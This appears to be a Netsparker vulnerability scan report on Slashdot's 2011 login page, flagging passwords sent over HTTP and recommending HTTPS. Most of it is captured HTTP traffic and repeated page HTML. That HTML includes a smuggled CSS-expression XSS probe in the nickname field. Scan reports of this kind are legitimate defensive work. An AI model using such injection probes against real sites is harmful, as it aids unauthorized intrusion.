media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <div class="error"> Danger, Will Robinson! You didn't log in! You apparently put in the wrong password, or the wrong nickname. Either try again, or <a href="//slashdot.org/my/mailpassword">have your password mailed to you</a> if you forgot your password. </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value="3"> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value="" stYle="x:expre/**/ssion(netsparker(9)) "> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="h..
Password Transmitted Over HTTP
Password Transmitted Over HTTP
1
TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that password data is sent over HTTP.
Impact
If an attacker can intercept network traffic he/she can steal users credentials.
Actions to Take
- See the remedy for solution.
- Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.
Remedy
All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
|
- /my/login
/my/login CONFIRMED |
Form target action
//slashdot.org/my/login
Request
GET /my/login HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: slashdot.org
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: slashdot.org
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Fry: It's a widely-believed fact!
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 14414
Date: Tue, 08 Mar 2011 15:58:56 GMT
X-Varnish: 1629928646
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '90026720232658838', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } function hint_more( $more_link ){ if ( !auto_more ){ $more_link. click(function(){ hint_more = undefined; }). after('<span id="more-hint" class="feature-hint"><em>NEW: Fetch stories in-line!</em></span>'); } } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { hint_more && hint_more($more_link); $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(); return false;"><span>Close</span></a> </div></div><script id="after-content" type="text/javascript">(function( $, fn, console ){ $ && fn && $(function(){ fn($, console); });})(window.jQuery, window.pageload_done, window.console);</script></body></html>
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Fry: It's a widely-believed fact!
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 14414
Date: Tue, 08 Mar 2011 15:58:56 GMT
X-Varnish: 1629928646
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '90026720232658838', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } function hint_more( $more_link ){ if ( !auto_more ){ $more_link. click(function(){ hint_more = undefined; }). after('<span id="more-hint" class="feature-hint"><em>NEW: Fetch stories in-line!</em></span>'); } } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { hint_more && hint_more($more_link); $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" 